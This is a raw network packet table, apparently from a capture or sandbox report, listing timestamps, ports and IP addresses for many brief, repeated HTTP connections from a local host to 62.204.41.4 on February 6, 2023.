Feb 6, 2023 18:36:37.472313881 CET	49877	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.475820065 CET	80	49878	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.475991964 CET	49878	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.478497982 CET	49878	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.540860891 CET	80	49878	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.544193983 CET	80	49878	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.544297934 CET	49878	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.660258055 CET	49878	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.661458969 CET	49879	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.722877979 CET	80	49878	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.722908974 CET	80	49879	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.722985983 CET	49878	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.723109961 CET	49879	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.726488113 CET	49879	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.788187981 CET	80	49879	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.790949106 CET	80	49879	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.791115999 CET	49879	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.896342993 CET	49879	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.897353888 CET	49880	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.958012104 CET	80	49879	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.958179951 CET	49879	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.959927082 CET	80	49880	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.960045099 CET	49880	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.960429907 CET	49880	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.023792982 CET	80	49880	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.026807070 CET	80	49880	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.026963949 CET	49880	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.131292105 CET	49880	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.132404089 CET	49881	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.194176912 CET	80	49880	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.194297075 CET	49880	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.194941044 CET	80	49881	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.195072889 CET	49881	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.196455002 CET	49881	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.259264946 CET	80	49881	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.263988972 CET	80	49881	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.264122009 CET	49881	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.381030083 CET	49881	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.382744074 CET	49882	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.443206072 CET	80	49882	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.443610907 CET	49882	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.443670034 CET	80	49881	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.443849087 CET	49881	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.444359064 CET	49882	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.505455017 CET	80	49882	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.507621050 CET	80	49882	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.507836103 CET	49882	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.638158083 CET	49882	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.639091015 CET	49883	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.699953079 CET	80	49882	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.702639103 CET	49882	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.704185963 CET	80	49883	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.704348087 CET	49883	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.704699993 CET	49883	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.769532919 CET	80	49883	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.772583961 CET	80	49883	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.772748947 CET	49883	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.881500006 CET	49883	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.882308960 CET	49884	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.944531918 CET	80	49883	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.944567919 CET	80	49884	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:38.944704056 CET	49883	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.944792986 CET	49884	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:38.947005987 CET	49884	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.009176016 CET	80	49884	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.011766911 CET	80	49884	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.011909008 CET	49884	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.162790060 CET	49884	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.163536072 CET	49885	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.223047972 CET	80	49885	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.223434925 CET	49885	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.224149942 CET	49885	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.225172043 CET	80	49884	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.225363970 CET	49884	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.283767939 CET	80	49885	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.287807941 CET	80	49885	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.287950039 CET	49885	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.399915934 CET	49885	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.400648117 CET	49886	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.459657907 CET	80	49885	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.459811926 CET	49885	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.460134029 CET	80	49886	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.460266113 CET	49886	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.465156078 CET	49886	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.524946928 CET	80	49886	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.527257919 CET	80	49886	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.527328014 CET	49886	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.631373882 CET	49886	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.632471085 CET	49887	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.691195011 CET	80	49886	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.691313028 CET	49886	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.694189072 CET	80	49887	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.694552898 CET	49887	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.694820881 CET	49887	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.756726027 CET	80	49887	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.759475946 CET	80	49887	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.759860039 CET	49887	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.866069078 CET	49887	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.866235971 CET	49888	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.927587032 CET	80	49887	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.927619934 CET	80	49888	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.927823067 CET	49888	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.929411888 CET	49887	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.931255102 CET	49888	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:39.993911028 CET	80	49888	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.997347116 CET	80	49888	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:39.997464895 CET	49888	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.100795031 CET	49888	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.102320910 CET	49889	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.162456989 CET	80	49888	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.162606955 CET	49888	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.163631916 CET	80	49889	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.163794994 CET	49889	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.164302111 CET	49889	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.225816965 CET	80	49889	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.229357958 CET	80	49889	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.229502916 CET	49889	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.334237099 CET	49889	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.336617947 CET	49890	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.395699978 CET	80	49889	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.397659063 CET	49889	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.400021076 CET	80	49890	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.400238037 CET	49890	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.402321100 CET	49890	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.464890957 CET	80	49890	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.467500925 CET	80	49890	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.467736959 CET	49890	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.588109016 CET	49890	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.588804007 CET	49891	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.650341988 CET	80	49891	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.650500059 CET	49891	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.650665045 CET	80	49890	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.650742054 CET	49890	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.650923967 CET	49891	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.712398052 CET	80	49891	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.715030909 CET	80	49891	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.715224981 CET	49891	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.818567991 CET	49891	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.819410086 CET	49892	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.880110979 CET	80	49892	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.880206108 CET	80	49891	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.880435944 CET	49891	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.884686947 CET	49892	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.888978958 CET	49892	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:40.949668884 CET	80	49892	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.951904058 CET	80	49892	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:40.955837965 CET	49892	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.069056034 CET	49892	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.069802046 CET	49893	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.129785061 CET	80	49892	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.130269051 CET	49892	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.132009983 CET	80	49893	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.133230925 CET	49893	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.133872032 CET	49893	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.196033001 CET	80	49893	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.200634956 CET	80	49893	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.201684952 CET	49893	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.318510056 CET	49893	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.319807053 CET	49894	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.380381107 CET	80	49894	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.380573988 CET	49894	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.380892038 CET	80	49893	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.380979061 CET	49893	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.381592989 CET	49894	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.442109108 CET	80	49894	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.445008993 CET	80	49894	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.445161104 CET	49894	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.552683115 CET	49894	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.553329945 CET	49895	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.613394976 CET	80	49894	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.613549948 CET	49894	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.614630938 CET	80	49895	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.615044117 CET	49895	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.619812965 CET	49895	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.681375027 CET	80	49895	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.683928013 CET	80	49895	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.683995962 CET	49895	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.787863016 CET	49895	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.788930893 CET	49896	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.852776051 CET	80	49895	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.852905989 CET	49895	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.853590965 CET	80	49896	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.854012012 CET	49896	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.854218006 CET	49896	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:41.917088985 CET	80	49896	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.918668985 CET	80	49896	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:41.919392109 CET	49896	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.021555901 CET	49896	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.022388935 CET	49897	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.084079981 CET	80	49896	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.084268093 CET	80	49897	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.084366083 CET	49897	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.084999084 CET	49896	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.089660883 CET	49897	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.154752016 CET	80	49897	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.155524969 CET	80	49897	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.155662060 CET	49897	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.272115946 CET	49897	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.272984028 CET	49898	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.337409019 CET	80	49897	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.337445974 CET	80	49898	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.337517023 CET	49897	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.337600946 CET	49898	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.338053942 CET	49898	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.399935961 CET	80	49898	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.403964043 CET	80	49898	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.404063940 CET	49898	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.506584883 CET	49898	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.507507086 CET	49899	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.568877935 CET	80	49898	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.568948984 CET	49898	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.570810080 CET	80	49899	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.570934057 CET	49899	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.575366020 CET	49899	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.637904882 CET	80	49899	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.640623093 CET	80	49899	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.640713930 CET	49899	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.756954908 CET	49899	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.757854939 CET	49900	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.819490910 CET	80	49899	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.819592953 CET	49899	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.820770025 CET	80	49900	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.820883036 CET	49900	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.821924925 CET	49900	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.885067940 CET	80	49900	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.888844013 CET	80	49900	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:42.888948917 CET	49900	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.992048025 CET	49900	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:42.993006945 CET	49901	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.053143978 CET	80	49901	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.053332090 CET	49901	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.054485083 CET	80	49900	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.054605961 CET	49900	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.063640118 CET	49901	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.123953104 CET	80	49901	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.127892017 CET	80	49901	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.128042936 CET	49901	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.240454912 CET	49901	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.241240978 CET	49902	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.300750017 CET	80	49901	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.300893068 CET	49901	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.302834988 CET	80	49902	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.302978992 CET	49902	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.303335905 CET	49902	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.364789963 CET	80	49902	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.368645906 CET	80	49902	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.368861914 CET	49902	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.475498915 CET	49902	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.476574898 CET	49903	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.537190914 CET	80	49902	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.537974119 CET	80	49903	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.538094044 CET	49902	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.538160086 CET	49903	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.538749933 CET	49903	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.600173950 CET	80	49903	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.603050947 CET	80	49903	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.603234053 CET	49903	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.717041016 CET	49903	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.718286991 CET	49904	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.780052900 CET	80	49903	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.780277014 CET	49903	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.781104088 CET	80	49904	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.781239033 CET	49904	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.781749964 CET	49904	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.844773054 CET	80	49904	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.847826958 CET	80	49904	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:43.847954988 CET	49904	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.959472895 CET	49904	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:43.960391998 CET	49905	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.021119118 CET	80	49904	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:44.021214962 CET	49904	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.021918058 CET	80	49905	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:44.025023937 CET	49905	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.026160002 CET	49905	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.087682009 CET	80	49905	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:44.092535973 CET	80	49905	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:44.092761040 CET	49905	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.213074923 CET	49905	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.213895082 CET	49906	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.520972013 CET	49905	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:44.582518101 CET	80	49905	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:44.582657099 CET	49905	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.224391937 CET	49906	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.286139011 CET	80	49906	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.286850929 CET	49906	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.288237095 CET	49906	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.349865913 CET	80	49906	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.353909969 CET	80	49906	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.357145071 CET	49906	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.459383965 CET	49906	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.461538076 CET	49907	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.521030903 CET	80	49906	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.521218061 CET	49906	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.522254944 CET	80	49907	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.522387028 CET	49907	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.522865057 CET	49907	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.583662033 CET	80	49907	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.586518049 CET	80	49907	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.586666107 CET	49907	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.694968939 CET	49907	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.697320938 CET	49908	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.755672932 CET	80	49907	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.755788088 CET	49907	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.758610010 CET	80	49908	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.758757114 CET	49908	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.759181023 CET	49908	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.820456028 CET	80	49908	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.823967934 CET	80	49908	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.824065924 CET	49908	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.928690910 CET	49908	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.929630041 CET	49909	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.990194082 CET	80	49908	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.990338087 CET	49908	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.990917921 CET	80	49909	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:47.991058111 CET	49909	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:47.991595030 CET	49909	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.053137064 CET	80	49909	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.057262897 CET	80	49909	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.057457924 CET	49909	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.165266991 CET	49909	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.166500092 CET	49910	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.227133989 CET	80	49909	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.227363110 CET	49909	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.229289055 CET	80	49910	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.229479074 CET	49910	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.230041981 CET	49910	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.292443037 CET	80	49910	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.295130014 CET	80	49910	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.295310974 CET	49910	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.397573948 CET	49910	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.398396969 CET	49911	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.460892916 CET	80	49911	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.461044073 CET	49911	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.462049007 CET	80	49910	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.462126970 CET	49910	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.462366104 CET	49911	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.524959087 CET	80	49911	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.527606964 CET	80	49911	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.527715921 CET	49911	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.641889095 CET	49911	80	192.168.2.7	62.204.41.4
